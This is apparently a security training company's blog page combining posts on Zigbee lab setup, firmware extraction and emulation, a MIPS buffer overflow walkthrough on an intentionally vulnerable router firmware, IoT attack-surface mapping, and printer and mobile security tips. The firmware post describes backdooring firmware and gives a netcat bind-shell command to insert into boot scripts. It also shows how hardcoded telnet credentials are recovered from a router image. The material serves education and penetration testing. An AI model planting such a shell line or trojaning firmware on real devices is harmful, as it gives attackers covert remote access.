Zigbee security and exploitation for IoT devices

While working on our training material for the Offensive IoT Exploitation course, we here at Attify did a ton of in-depth research into all the possible aspects of IoT devices. One of the component that we focused primarily, in radio based exploitation was Zigbee Security, which is arguably the most popular IoT radio communication protocol in Smart Homes and Medical Devices.

Introduction to Zigbee

Zigbee is one of the most common communication protocol found in Smart Home devices and several other categories of IoT devices. The extremely power efficient nature, mesh networking and ease of usage makes Zigbee one of the popular choice among manufacturers.

It’s a specification built on top of the IEEE 802.15.4, and an open protocol created by the member companies of Zigbee Alliance, which include companies like TI, Silicon Labs, Philips and many others.

There have been a number of iterations of the Zigbee protocol, the most recent at the time of writing being Zigbee 3.0.   

Attacks possible  

Zigbee being a radio communication protocol suffers from the standard radio based vulnerabilities. Some of the attacks that are possible in Zigbee communications are :

  1. Attackers being able to sniff the data being transmitted
  2. Replaying of packets after capturing it to perform malicious actions
  3. Sniffing of the encryption key during the initial communication
  4. Modification of the captured packets and then replaying
  5. Spoofing based attacks
  6. Denial of Service situations

This blog post is an introductory guide to set things up in case you would like to learn Zigbee exploitation on your own and perform additional exploitation of each of the vulnerabilities mentioned above.

Hardware Required

Before reading the hardware required section, bear in mind that this is one of the possible combination you could use to get started with Zigbee Security. There could be innumerable types of hardware you could use – such as using a Zigbee dev kit, using a commercial IoT device emitting Zigbee signals and so on.

Below is a simple setup which you can get started with:

  1. Arduino Uno/Nano
  2. DigiKey Xbee module / Arduino Xbee shield
  3. Atmel RzRaven USB stick
  4. Attify Badge

Arduino : Arduino is the de-facto to get started into any sort of electronics projects. Chances are high that you might have used this in your university or high school. The Nano is the most smallest Arduino nano, but sufficient enough for our purposes.

DigiKey Xbee module / Xbee Shield : In order to learn Zigbee, you need something which can transmit and receive Zigbee signals. Xbee is a full duplex transceiver capable of wirelessly communicating with other Xbee modules using Zigbee standard protocol.

Atmel RzRaven USB Stick: This is the half-duplex module which performs the “magic” of sniffing and transmitting modified captured Zigbee packets. If you’re familiar with other sort of radio exploitation, consider this as the “HackRF for Zigbee”.

Attify Badge: You can use this to program the Xbee module with XCTU and plugging in the badge on your system. This is because Xbee usually doesn’t have the miniUSB or similar port which could be used to directly plug it in and program. In case you don’t have Attify Badge or similar hardware, head out to Amazon or your local store and order a mini USB kit for Xbee – something like this.

MiniUSB board for Xbee

MiniUSB board for Xbee (img src : robosavvy.com)

 

Or you can order Attify Badge by emailing us .   

Hacking IoT Embedded devices with Attify

Hacking IoT Embedded devices with Attify

For programming and hardware connections, it’s pretty straightforward in this case. Connect power => power, Gnd => Gnd, Tx to Rx and Rx to Tx. You might want to look up the datasheet of the Xbee module version which you have with you.  

Programming Arduino and Xbee

Programming Arduino

In order to program Arduino, simply download and open up the Arduino IDE from here https://www.arduino.cc/en/Main/Software . Once loaded, open up the Hub and node programs from the Attify’s github repo to each of the Arduino one after the other.

The code has been detailed with inline comments to help you understand what the code means.On an additional note, the code sample provided also takes the temperature, humidity and light values via the sensors and uses the DHT library. It is perfectly fine in case you decide to do the entire analysis and exploitation with a hardcoded string being transmitted, instead of the DHT values. Or, if you would like to use the code as it is, make sure to buy the DHT11 and additional required devices that go along with it.

Tools needed

Schematics

Node code :

 

Hub code :

Also below are the schematics in case you want to build an exact similar setup as our starting kit :

Node Schematics:

Node Schematics for Zigbee vulnerable setup

Node Schematics for Zigbee vulnerable setup

Hub Schematics

Hub Schematics for Zigbee vulnerable setup

Hub Schematics for Zigbee vulnerable setup

Once you have programmed both the Arduinos, the next step is to configure the Xbees using XCTU.

Programming Xbee

Launch XCTU and click on Discover Radio modules. It’ll show you the list of available COM ports where devices have been plugged in. Select the one which corresponds to the Xbee module (or select all in case you are not quite sure).

The additional configuration will be 8N1 as always, 8 data bits, no parity bit and 1 stop bit . Additionally, you would also need to specify the baud rate for your given Xbee module. In case you are not aware of what baudrate your module is using, you can always select all in the baudrates for the module and XCTU will scan with all baudrate and find the correct one for you.

Once you hit Finish searching for the module, it will identify the device. Click on Add the Device.

Device being identified in XCTU

Device being identified in XCTU

At this step, you’ll be shown the various properties of the device such as the Channel name and the PAN ID – the two properties which matter to us at the moment. In Zigbee, there are a total of 16 channels for each band and each channel is spaced 5MHz apart with 2 MHz of bandwidth usage for noiseless data transmission. A list of all the Zigbee channels can be found here. A PAN ID for a Zigbee network is a unique identifier which is the same for all devices on the network.

Configure the channel name and PAN ID to any particular value. You just need to ensure that the other Xbee should have the same Channel name and the PAN ID.

Xbee properties in XCTU

Xbee properties in XCTU

That is all required to complete the setup for the vulnerable lab for Zigbee. In the upcoming blog posts on Zigbee, we will see some exploitation techniques which we can perform on this setup and also take control of a commercial device emitting Zigbee signals.

If you would like to know more about IoT Exploitation techniques, attend one of our public training or sign up for the online course at SecurityTube.

Introduction to Attify Badge : Hacking IoT hardware

Serial communication with Embedded IoT devices

Welcome to the new blog post by Attify. In this blog post, we will introduce our newest creation – Attify Badge, something which we use in order to perform hardware exploitation and to hack IoT devices.

This is also covered extensively in our training course “Offensive IoT Exploitation”, where we teach attendees on how to exploit the smart devices. We use this to perform UART sniffing, root over serial, JTAG debugging, dumping memory and so on.

History

In case you have been involved in electronics, you might be familiar with FT232R. The Attify badge makes use of FT232H, which is the bigger and powerful brother of the FT232R, a USB to UART adapter. FT232H series supports several serial protocols and is also found to be widely used in a number of JTAG adapters. Another notable difference in the badge and FT232R is there is a Multi-Protocol Synchronous Serial Engine (MPSSE) in the badge. You can read more about FTDI’s MPSSE here – http://www.ftdichip.com/Support/Documents/AppNotes/AN_135_MPSSE_Basics.pdf.  The badge is capable of interacting with numerous protocols including UART, I2C, SPI and JTAG among many others. It also has a number of GPIO pins which can be customized and used for various purposes imaginable.

Pinouts

If you were able to get hold of a badge by , or during our training, or from one of our team members, you would need to have the pin out with you below.

Hacking IoT Embedded devices with Attify

Hacking IoT Embedded devices with Attify

The badge is marked with ACBUS and ADBUS with pins going from D0-D7 and C0-C9. The C0-C9 pins are meant for GPIO purposes.

Pin numberFunctionDescription
D0TxTransmit. To be connected to the receive of the target.
D1RxReceive. To be connected tot the Tx of the target.

Continue reading

Emulating and Exploiting Firmware binaries

x2

Welcome to the third post in the “Offensive IoT Exploitation” series. In the previous one, we learned about how we can get started with analyzing firmware and extracting file systems. In this post, we will take it a step further by analyzing individual binaries from firmware, and even exploiting commonly found vulnerabilities.

There are two firmware which we will be using for this post:

  1. Kkeps.bin (firmware of a kankun smart plug) – downloadable from http://homedash.org/2014/09/21/firmware-downloads/
  2. DVRF_0.3.bin (firmware of Damn Vulnerable Router Firmware by @b1ack0wl) – downloadable from https://github.com/praetorian-inc/DVRF

Once we have the Kankun firmware, the first thing that we will do is extract the file system from the firmware using binwalk.

binwalk -e kkeps.bin

Now that binwalk has extracted the firmware; we can look into the file system to see if there are any interesting binaries which we can try to target. As we are looking, we see that inside the sbin/ folder, there are a couple of binaries which look custom developed, as the name starts with the string kkeps.

Running firmware binaries meant for different architecture

Now, to interact with these binaries, either we need to run the binary by getting access to the device shell (something which we will do in the later posts), or we can emulate the binary by identifying what architecture is the binary supposed to run on. For this, we can use the readelf utility.

As we can see from the screenshot above, the binary is meant for the MIPS architecture. We need to find the corresponding qemu binary which will allow us to emulate binaries for the MIPS architecture. The installation of qemu is outside the scope of this post since there are a lot of online resources with a step-by-step guide on how to do it.

Once you have successfully installed qemu on your system, the next step is to copy the qemu-mips-static binary to the root folder of the firmware.

Let’s, first of all, try to run busybox located in the bin folder, and see if it works.

Since the busybox binary is compiled for another architecture, it simply refuses to run on our x86 machine, giving an Exec format error. Now, let’s try the same again, this time using qemu-mips-static and chroot:

sudo chroot. ./qemu-mips-static bin/busybox

As we can see, we are now successfully able to run binaries by emulating them for the given architecture using Qemu.

Let’s now try to emulate the kkeps_seekwifi binary located in the sbin folder using qemu-mips now, also using chroot as given below:

sudo chroot . ./qemu-mips-static sbin/kkeps_seekwifi

As the name of the binary says seekwifi, it is possible that this binary is looking for connections to the device (if it were running on the device). Let’s check if it has started some sort of listener on any of our ports. For this, we will use netstat as given below.

Indeed! It has started a listener on port 50000. Let’s see if we can even connect to this port and send some data which will be received by the listener.

If we look at the other terminal window, we will notice that the running binary has received the data sent through telnet.

Thus, we can emulate binaries from firmware for a different architecture and even interact with the running binaries.

This opens up a lot of possibilities for us as penetration testers. In fact, it means that if we can get the firmware of any device, we can even perform attacks on them and verify if it works or not, without having the need of getting the actual device.

Exploiting stack-based buffer overflows on MIPS

Let’s now go ahead and try to perform a stack based buffer overflow exploit on a binary for MIPS platform. This is assuming the fact that the readers know about the basic concepts of a stack based buffer overflow vulnerability. For this exercise, we will use the Damn Vulnerable Router Firmware.

The first step, as with any of the firmware is, to extract the file system using binwalk. Once you extract the DVRF file system using binwalk, you will find the challenges in the squashfs-root/pwnable/Intro folder.

The challenge that we are going to crack is the stack_bof_01. Before we go into the exploitation of this binary, let’s first have a look at the disassembly using IDA. You can even use radare2 or plasma to do this, depending on your preference. We will use IDA for this series. Also, while loading up the binary in IDA, ensure to change the architecture type of MIPS little endian.

The first thing we would need to have a look at is to see the list of functions and see if there are any interesting functions.

As we can see, there is a function of potential interest called dat_shell at the address 0x400950. We will come back to this later.

Let’s try to run the program and see what is the normal output when the binary is run. We will run it just like we did in the previous section using qemu and chroot.

It looks like the binary needs an argument, which when matches the condition specified by the developer, will result in another output, instead of “Try Again.” For this, let’s run qemu with a debugger attached to it using the -g flag and a port number and connect to it remotely using IDA. Just to note, during emulation in some cases, you will also have to set the environment variables expected by the binary, using the qemu’s –e flag.

As we can see the execution is now paused, as it expects the debugger to connect to it and give further operations to perform. So, let’s go to IDA and attach to this process by configuring the remote debugger. For this, we will need to open the same binary in IDA and then go to Debugger | Process Options, and enter our remote IP address (where we have the binary being emulated) and port here.

Once done, we can then run the debugger and attach to the existing running process. You can set breakpoints here and analyze various registers, as well as perform anything you would like to perform.

We will go in depth in MIPS assembly later on in this post series, but for now, we can focus on PC and RA, which are two most useful registers from an exploitation perspective, and stand from Program Counter and Return Address respectively.

To give a quick background, Program Counter is the next instruction to be fetched (due to the MIPS pipelining), and RA is the Return Address (where the program returns after finishing a subroutine).

Controlling either of these will give us access to the program flow, and thus the program execution can be manipulated.

Since this is a Stack based overflow crackme, let’s run the binary with an extremely long string of 2000 characters generated by Metasploit’s pattern_create.rb as shown below.

Once generated, we can use this pattern as an argument while running the binary and debug the binary in IDA to see where our PC gets to.

Since the program is now running, let’s go to IDA and see what is the value of PC at the program crash. We will be able to see that the PC stores the value of 0x41386741.

If we convert the value of 0x41386741 to string, we get to know that it comes to be A8gA, which using pattern_offset.rb, we can find out to be 204. This means that we can control the Program Counter and that it takes 204 characters of junk to reach a point where the next character will overwrite the Program Counter.

Now, let’s try to call the dat_shell function which we saw earlier using this overflow vulnerability. Since the first two lines deal with GP (Global pointer), let’s avoid those lines and directly jump to the third line of instruction located at the address 0x40095c.

So we will again generate a pattern of 204 characters, and after that, we will put the address of the third instruction in dat_shell function. As we can see from the image below, this time, tells us “Congrats! I will now execute /bin/sh” which means we have now been successful in exploiting. Had it been a real device, this would indeed have given us a shell.

How to backdoor a firmware

One of the other interesting things we could do with firmware is to create a malicious version of the original firmware. This could be done by extracting the file system from the firmware, adding malicious scripts which should be triggered automatically giving you a reverse shell, and then repackaging it into a new firmware. As an additional step, if you have access (hardware based or online), you can even flash the newly created firmware to the device.

This poses a huge security risk because most of the devices you buy are not directly from the manufacturers but rather from the distributors. Unless you verify that it’s a legitimate firmware running on the device, you can’t be fully sure that it is not backdoored. We won’t go into details of how manufacturers put backdoors themselves in the firmware.

Let’s now deep dive into how all of this could be done.

Introducing Firmware Mod Kit

Firmware Mod Kit is a tool written by Jeremy Collake and Craig Heffner. Using FMK, as it is popularly called, you can extract a firmware image, add your own code, and build a new version of the firmware.

Firmware mod kit is a complete suite both to extract, as well as build new firmware. For extraction, it also uses Binwalk as part of its extraction process.

To extract firmware using binwalk, we can use the extract-firmware.sh followed by the firmware binary file name as shown below.

Once the firmware is extracted, it will store the extracted file system in the fmk directory of the same folder.

Here, we can modify or add any file we want. As we can see from the below screenshot, there is a busybox binary, which has Netcat as well. If we want, we could add the Netcat reverse shell to connect to our IP anytime the device boots up.

To add the backdoor, we can add the following line in any of the .sh files, which can be triggered automatically on device boot up.

/bin/busybox nc –nlp 12345 –e /bin/busybox sh &

Once we have made the changes, we can then use the build-firmware.sh to build the new firmware which then could be flashed to the device.

That is all for this post. I hope you were able to learn a lot about analyzing and exploiting firmware binaries. That is all for this post. In the next post, we will learn more about Hardware based exploitation on these devices.

If you are interested in attending our live hands-on training class on “Offensive IoT Exploitation”, drop us an email at .

This post was originally posted at Infosec Insititute.

Firmware Analysis for IoT Devices

firmware 2

This is the second post in the IoT Exploitation and Penetration Testing series. In this post, we are going to have a look at a key component in an IoT device architecture – Firmware.

Any IoT device you use, you will be interacting with firmware, and this is because firmware can be thought of as the actual code that runs on an IoT or embedded device. For this post, we will start by looking at various ways to extract file system from firmware, and then move into going deeper into analysing binaries for vulnerabilities. The most common architectures for IoT devices are ARM and MIPS, which is also something we will cover later in this series.

Before starting digging deep into the firmware, we would have a look at the components and related aspects, such as file system types, compressions, encryptions, and bootloader.

Firmware components

File system types:

During the entire firmware analysis journey, we will come across various kinds of file systems such as Squashfs, Cramfs, YAFFS2 and so on. The choice of file system is solely to the developers creating the embedded devices, and the other functionalities they want to offer, which might be available in one file system and not in the other. For example, Squashfs is a compressed Linux read-only file system, which is one of the most common file systems you will come across in embedded devices.

For a complete list of file systems, please refer to this link:http://elinux.org/File_Systems.

One of the things we can do, once he has the firmware image is based on the file system type, we could try to mount it and analyse the contents inside it.

So to analyze what location is the filesystem located in, we can use Binwalk. we will discuss Binwalk in detail later on in this post, but for now, it can help us give the exact addresses where the file system is located in.

To mount the jffs2 image on our system, the first thing we will do is to provide an MTD partition in the RAM whose size is specified by total_size.

modprobe mtdram total_size=25247744

Next, we will create a block device through which we can access the partition, and then load up support for jffs2 filesystems which might not be enabled by default.

modprobe mtdblock

modprobe jffs2

The next thing is to copy the file system from the location derived above and output to a new file using dd.

Once done, we will simply copy the file system from the file created (filesys) to the mtdblock0 .

Once done, we can then use mount to mount the filesystem so that we can access it. We can quickly look at the main page of the mount and see how we can mount our image.

Since we know that the type of the filesystem is jffs2, we can simply go ahead and use the mount command as mentioned in the man page.  So we simply create a new folder in our current location named jffs2 and mount the mtdblock to that directory.

As you can see from the above image, we now have access to the entire filesystem. This is just an example of how we can get access to the file system of firmware. Later on, we will see other simpler techniques to do the same.

Compressions and Encryptions:

Once we have understood the file system, we need to understand the other aspects associated with firmware – namely the compression and encryption in use. The file system in embedded devices are usually compressed to save up space. Some of the most common compressions used by IoT device file systems are  LZMA, GZIP, Zlib, Zip and ARJ to name a  few.

Let’s put some of this knowledge to practical use. We know that some vendors for LZMA compressed Squashfs file system use the magic number shsq. So, we can perform a hexdump on our firmware and grep for shsq to know the starting address of the firmware.

As we can see above that we found the shsq magic number at the location 0x000e0080. Now that we know the starting address of the file system, we can dump the content using dd.

Since that we know that it’s a squashfs file type, we can run unsquashfs on it to get to the file system. The -l simply list down the contents of the file system.

If you run a unsquashfs -h, it will show that the tool unsquashfs already supports lzma compression.

So we can simply go ahead and extract the file system from filesystem.bin.

This will create a folder called squashfs-root, which will have the entire filesystem extracted. From here, we can now analyse individual binaries or look in the configuration files for identifying vulnerabilities.

Bootloader:

The bootloader is the component of any device which helps the entire system to boot up, to put it in the simplest terms possible. It helps the entire system to set up the system settings and then load up the kernel which will be used to load up the entire filesystem.

Some of the most common bootloaders are Das uBoot, Redboot, CFE to name a few. We will come across bootloader again later on in this blog series, but for now, we will keep it limited to this.

You could read more about bootloaders here –http://www.informit.com/articles/article.aspx?p=1647051 .

Once we have understood the firmware,

To be able to perform firmware analysis, it is important to understand how to get hold of the firmware in the first place. Typically, there are two ways to obtain a firmware for a particular device:

Obtaining the firmware from the vendor’s website: Many of the IoT device manufacturers will have the firmware listed down in the Downloads or Support section of the website so that users could download and manually update the device.

Dumping the firmware from the device through hardware exploitation techniques: This can be achieved by either dumping the firmware using serial communication such as UART or JTAG or using SPI Flash. We will discuss this technique in our later posts.

Once you have obtained the firmware, we can now proceed further and start with our analysis techniques. For this exercise, we will use the Damn Vulnerable Router Firmware, which can be obtained from here – https://github.com/praetorian-inc/DVRF.

Once we have the DVRF.bin with us, which is the firmware, we can run a quick hex dump on it to see if we can identify what device does it belong to and maybe some additional information as well.

As we can see from the hex dump, that even though most of the information doesn’t make sense, two of the strings stand out – u2nd and hdr0. Just by a quick google search, we come to know that this is related to a Linksys product which is indeed the case.

Even then, we don’t have enough information about the firmware which we could use for our exploitation. So moving on from hex dump, the next thing we will do is to run binwalk on it.

Binwalk is a firmware reverse engineering tool created by Craig Heffner(@devttys0) to help pen testers and security researchers analyse and understand the firmware. The tool supports various file system compressions and encryptions and is a de-facto tool when it comes to firmware reverse engineering. Installing binwalk on your system is straightforward, and you can follow the instructions given on the Github page of the project located here –https://github.com/devttys0/binwalk/blob/master/INSTALL.md.

Once you have set up binwalk on your system, the next step would be to use binwalk to analyse the firmware and understand the different sections present in it. When we run binwalk on DVRF.bin, below is what we will see.

As we can see from above, the header starts from 0x20 and continues till 0x3c, which is then followed by the gzip compressed data with file name piggy, and finally the squashfs file system starting from 0x192728.

So, let’s use binwalk to extract both piggy, as well the squashfs file system. You can also use dd for the same purpose; binwalk just simplifies the entire process.

Running binwalk on DVRF.bin for extraction, we will be able to achieve the contents of the file system and additional data that is stored inside the firmware.

binwalk -e DVRF_0.3.bin

As we can see from the extracted file system, that it is a Linux-based operating system. Linux is one of the most common OS, which you will encounter while reversing firmware, followed by other OSes such as VxWorks and eCOS.

Once we have extracted the firmware, the next step is to look at the various binaries present in the firmware and analyse them to identify vulnerabilities. One of the easy ways to catch low hanging fruit is to check the version of common binaries such as busybox and see if you can find a corresponding exploit for that given version.

Let us, for now, have a look at another firmware of a Dlink device (mention the device name and firmware download URL). So, we will simply download the firmware from the website and use binwalk to extract file system from the firmware.

binwalk -e Dlink.bin

Let’s try to search for a sensitive credential in this firmware. Telnet seems like a good starting point as it can grant us access to the device on which this firmware is running on.

If we grep for telnet, we can see that there is a file located at /etc/scripts/misc/telnetd.sh.

If we open up this file, below is what the content looks like.

As we can see from the file that it indeed contains code to login to a telnet session with the username of Alphanetworks and the password is the content of a file specified by $image_sign. If we look closely, just in the second line of the script, $image_sign variable is mentioned to be the content of the file /etc/config/image_sign.

So, if we simply cat the /etc/config/image_sign file, we will have the password of the telnet login. Below is the same.

Thus, we were able to reverse the file system from a Dlink router firmware and were able to grab the telnet login credentials from it.

Automated Tools

There exist several automated tools to perform static and dynamic analysis of firmware. One such popular tool is firmwalker, developed by Craig Smith, which performs a static analysis on the firmware by performing checks on interesting strings.

To run firmwalker, clone the github repo and point firmwalker.sh on any of the extracted file systems of firmware.

git clone https://github.com/craigz28/firmwalker.git

cd firmwalker

Once done, simply go ahead and run firmwalker.sh on any of the extracted file systems from binwalk. In this case, we will run it on the file system of Damn Vulnerable Router Firmware.

Overall firmwalker is a nice tool to help you get started with firmware analysis and enable you to find interesting files which you can look further into.

There are other automated tools as well which could be used for static and dynamic analysis of firmware. Since they are a bit more complicated to set up and requires much deeper instructions, we would take it up in the upcoming posts.

Analysing Binaries using disassembly

One of the most important exploitation techniques, once we have the firmware extracted, is analysing the interesting binaries through disassembly. Once you extract Damn Vulnerable Router Firmware, you will find interesting binaries located at squashfs-root/pwnables/Intro/.

You can disassemble them through tools such as objdump, IDA or even online disassembler. For example, if we try out the binary located at pwnables/Intro/stack_bof1 in onlinedisassembler.com, we can see the various functions in the binary and the disassembly for each of them.

The below screenshot shows a disassembly of stack_bof1 on the onlinedisassembler.com.

Also, just like any other advanced disassembler, the onlinedisassembler also has the functionality of showing you a graph layout of the entire disassembly, as shown below.

That is all for this post on Getting started with firmware analysis. In the next post, we will go through how you can emulate firmware and even debug the binaries inside the firmware in real time.

References:

Binwalk installation guide

BH USA 2013: Firmware Reverse Engineering by Jonas Zaddach and Andrei Costin

Reversing Auerswald firmware: https://cweiske.de/tagebuch/auerswald-firmware.htm

Embedded system bootloader:https://en.wikibooks.org/wiki/Embedded_Systems/Bootloaders_and_Bootsectors

This post was originally posted at “Infosec Institute“.

Getting started with “IoT Security” – Mapping the attack surface

Mapping attack surface in IoT device

IoT or the Internet of Things is the new buzzword all around. However, not enough attention has been paid to the security aspect of these so-called “smart” devices.

This series of post will help anyone interested, get started on IoT security and penetration testing of “smart” devices.

To assess the security of IoT devices, we must first understand the various components involved in it, and then identify what kind of security issues could affect each component and then look into each of them. That is exactly the approach we will be taking in this series of “Offensive IoT Exploitation”.

The Internet of Things device infrastructure could be divided into three major categories:

  1. Embedded device
  2. Software and applications
  3. Radio communications

Device

The “Device” component is the key to any IoT architecture. Here, the device is a combined term which I have given to refer any hardware device that is involved in the architecture.

For example, in most of the smart home appliances, the device will usually comprise of the “gateway” and the “operating device”. The gateway is what acts as a central hub to the other devices, whereas the “operating device” is the device which performs the actual action or monitor using sensors, depending on what is it intended to.

The vulnerabilities in “device” will be any vulnerability which we typically see in an embedded device. For example, communication over serial ports leading to root access, and ability to extract firmware from the flash are some of the examples we will get started with. We will go in-depth into these once we cover the device section in subsequent posts.

Software and Cloud component

The Software and Cloud component in an IoT device comprise the following elements:

  1. Firmware of the device
  2. Web application dashboard
  3. Mobile application used to control, configure and monitor the devices

There are some specific vulnerabilities in each of the components. For this post series, I will only cover the Firmware section in detail, with a bit of insight on each Web and Mobile based vulnerabilities affecting IoT products.

Radio Communication

The radio communication is a critical aspect of any IoT device. By Radio communication, we simply mean any communication is happening between device-device or app-device.

The various communication protocols which are usually used in an IoT architecture are WiFi, BLE, Zigbee, ZWave, 6LoWPAN and Cellular to name a few.

For this Offensive IoT Exploitation series, we will look at some of the major communication channels used and specific attacks against each of them. However, this section will need a good amount of hardware setup (just like the “Devices” section), so be prepared for all the fun and action.

How to map the Attack Surface of an IoT device

Having done numerous IoT pen testing engagements so far, I can assure you that to conduct an IoT device pentest effectively; you will need to assess and map the entire attack surface for that given device. Assessing an IoT device attack surface does not vary a lot from web attack surface mapping, however here a lot many more components will be involved.

Below are the steps you would need to follow to map the attack surface of an IoT device:

IoT Pentesting

Mapping attack surface of an IoT device

Step 1: The first step of Attack Surface mapping is to understand the entire IoT device architecture. This would need you to go through all the product manuals, documentations, information on the vendor’s website and any additional detail which you can find from any other source.

Step 2: Build an architecture diagram for the given device specifying each of the components that is used in various categories we discussed above. If it is a radio communication between two devices, show it with a dotted line and also specify the kind of communication protocol being used. If the application is communicating with the cloud to send and receive data using an API, mark it in the architecture diagram along with the kind of API which is used.

Step 3: Once the complete architecture diagram has been prepared, think like an attacker. If you have to attack a particular component, what techniques would you use and what kind of information would you try to extract. List down all the specific test cases for each component in a spreadsheet.

Below is a snippet of attack surface list for the above architecture diagram:

Once the above steps have been completed, we can now proceed to the actual execution of the attack vectors. Since we already have a clear idea of what technique we are going to use, and what data we are after, our efforts will now be much more optimised for the time and would lead to better results.

  1. IoT gateway
    1. Hardware based attack vectors – serial communication, firmware dumping, etc. to get access to the firmware and any sensitive information stored in it.
    2. Sniffing communication data being sent to the cloud
    3. Performing replay and spoofed attacks against the communication data sent to the cloud
  2. Devices
    1. Hardware based attack vectors – serial communication, firmware dumping, etc. to get access to the firmware and any sensitive information stored in it.
    2. Radio communication analysis between device and the gateway attacking Zigbee, zWave, 6LoWPAN
    3. Attacking BLE
  3. Mobile App
  4. Cloud/Web dashboard

That is all for this post, in the next post, we will learn on how to start performing a firmware analysis for a given IoT device.

If you want to know more about the Offensive IoT Exploitation course training, you can reach out to Attify or you can directly enroll to upcoming classes at BlackHat USA and BlackHat Europe.

This post was originally posted at “Infosec Instititute“.

Securing your “smart” printer

Securing Internet of things.

When you think of the ways in which a computer network is penetrated, a printer is not the first thing that comes to mind. Most of the employees in an organisation will have their machine connected to a smart printer, making their computers and corporate network vulnerable.  When you consider a printer has access to all the confidential documents of an organisation and yet the fact that none or very little attention is paid to it’s security, is alarming.

Just like any insecure system, most of the printers either have no password or if corporate policy mandates one, they are protected with default credentials. During our various infrastructure pentest engagements that we have conducted over the past 3 years, we have found printers to be one of the most common infrastructure components vulnerable to exploit. Once we have exploited the printer, and have access to it, we can then infiltrate the internal network even further.

Previous Smart Devices security issues

As per the information made accessible by the affected organisations, some of the most popular breaches in history have been a result of a 3rd party device connected to the network. This includes the famous Target breach which was a result of a breach with the 3rd party HVAC system. This again emphasizes on the fact that not only should an organisation care about the computer systems and servers, but also the components such as printers and other 3rd party devices.

Another interesting incident which happened recently was when a security researcher researching printer and embedded devices security, compromised millions of printers and printed Nazi messages through the printers of University of Maryland among many others.  

As per the details on Andrew’s blog, the printer hack was a result of an extremely simple vulnerability exploited by a couple of lines of Postscript code. Printers usually expose port 9100, which then could be used in a search engine such as Shodan.io, and connecting to those devices over port 9100 will allow you access to the printer.

In a survey report by Ponemon Institute, 64% of organisations don’t consider printer security to be the part of their high priority security strategy. With the general misconception being that printers are pretty simple devices and not an attacker’s target and hence the attacks against 3rd party devices are bound to rise.

Not only printing of insensitive messages is the threat scenario, but the printers can also be used as a backdoor to silently send all the documents it is printing to a remote server, or even to just be an entry point to the internal organisational network.

Steps to Secure your IoT printer:

If you are an organisation, here are the 3 steps you need to take in order to strengthen your printer security from malicious attacks:

  • Physical and network security
    • Ensure that only authorized persons have access to the printer.
    • Keep the printer out of the sensitive portion of the corporate network via secure authentication and authorization protections in place.
    • Don’t expose the printer to outside internet facing world.

  • Reverse Engineering and firmware modification attacks
    • Verify the firmware checksum of the printer whenever an update happens. This will ensure that firmware has not been modified or compromised in any way.

  • Publicly known vulnerabilities
    • Keep your printer up to date. This will help protect it against common vulnerabilities which could be exploited by anyone.

If you would like to learn more about IoT and device exploitation, attend Attify’s technical course on “Offensive IoT exploitation” which has been optimized through years of research and experience in device and IoT pentesting. Read more here – attify.com/trainings.php .

BlackHat Asia 2016 : Wrap Up

BlackHat Asia : Attify's training on IoT Exploitation

BlackHat Asia : Attify’s training on IoT Exploitation (Pic credits : gpheheise )

Like almost any other major security conference, this time at BlackHat Asia 2016 , Attify was present to interact with its existing clients and also to conduct a security training and contribute to a panel discussion.

This time at BlackHat Asia 2016, Attify conducted a hands-on technical training session on Offensive Internet of Things Exploitation, which is a flagship course offered by Attify. The course was a major hit (as expected) just like in BlackHat USA 2015 and several other conferences.

We are also revamping our training offerings and the overall agenda for this year. Keep an eye out on the training page for more info.  Apart from the training offering at BlackHat, Attify’s CEO – Aditya Gupta was also a member of panel discussion organised by Dark Reading to discuss about the impact of Internet of Things, and how vendors could create safer smart things.

The conference had some really great talk lineup such as Bypassing Browser Security Policies for Fun and Profit, where Rafay Baloch discussed about vulnerabilities in SOP for the Android platform/apps, CANtact tool presentation by Eric for hacking automotives, Automated Dynamic Firmware Analysis at Scale by Andrei etc.

Overall, it was a great experience with great talk, training and events lineup. In case you couldn’t make it to Attify’s training at Asia, feel free to get in touch with us at for a training at your organisation.

5 tips to secure your Mobile Application

Mobile Application Security

Mobile Applications can have various type of security issues. We audit applications for security issues on a daily basis as a part of our Mobile Application Auditing services.

If you are a mobile application developer, here are quick 5 tips for you to ensure the security of your mobile app.

Secure IPC

In any mobile application, ensure that the components interacting with each other happens in a secure fashion. For ex, unauthorised access to the Activities, Services, Content Providers or any other component for that matter – should be secured. This can be done by ensuring that each of the component has been protected and also specified in the  AndroidManifest.xml file. 

Use encryption

Using encryption might sound a bit too generalised, but a lot of developers often forget to use it while working with sensitive data. Make sure that your application performs encryption of any sensitive data – whether in rest or transit. This will protect your application’s security, even if someone gets hold of the user’s device or gains access to it.

Continue reading

Security Consulting for your organisation

Mobile Application Security Consulting

The consulting industry is one of the oldest in most parts of the world, but continues to be highly fragmented due to the lack of restrictions. Whereas most industries like accounting and law have rules, laws and ethics that must be adhered to, consulting does not have strict legalities and this includes the security consulting industry.

Your Data May Be Exposed

Most have realized the great need for tighter security on the internet and within our devices and gadgets such as laptops, smartphones and tablet computers. As we move about our lives each day, we create and expose billions of bits of vital data. It would be great if we all lived in a world where you could place important information about yourself or your company online and not worry about this being stolen. The fact is that we do not live in this type of world.

Malware and Internet attacks are escalating

The world we live in consists of a large group who make their living by stealing from others. With Malware, the object may only be to destroy your hard drive or other important information. This actually profits no one but has become a very popular method of infecting someone’s computer with a virus or worm.

Whether it’s the common pickpocket on the street or the hacker at his computer, theft hurts us all. It costs time and money. It generally takes a toll on its victims. And yet, with technology moving forward at such a rapid pace, there’s every indication that these issues will escalate in the future.

Continue reading

10 Secure Coding Guidelines for Mobile Apps

Attify is a leading provider for Mobile Application security for various organisations all over the world. We have got a number of requests to share the top secure coding  guidelines for Mobile apps, so that developer can build much more secure applications.

So, we decided to write down the 10 Most important Secure Coding Guidelines for Mobile apps.

1. Protect Sensitive Data

Ensure that any data you store – on device or in the external storage is properly secured. You will need to take care of proper file permissions as well as the encryption of the data in case it’s sensitive.

2. Secure Authentication Credentials

Whenever you store the user’s credentials on the device ensure that the credentials are not leaked through cache, logs or any other medium. Advice the users to chose strong authentication credentials.

Continue reading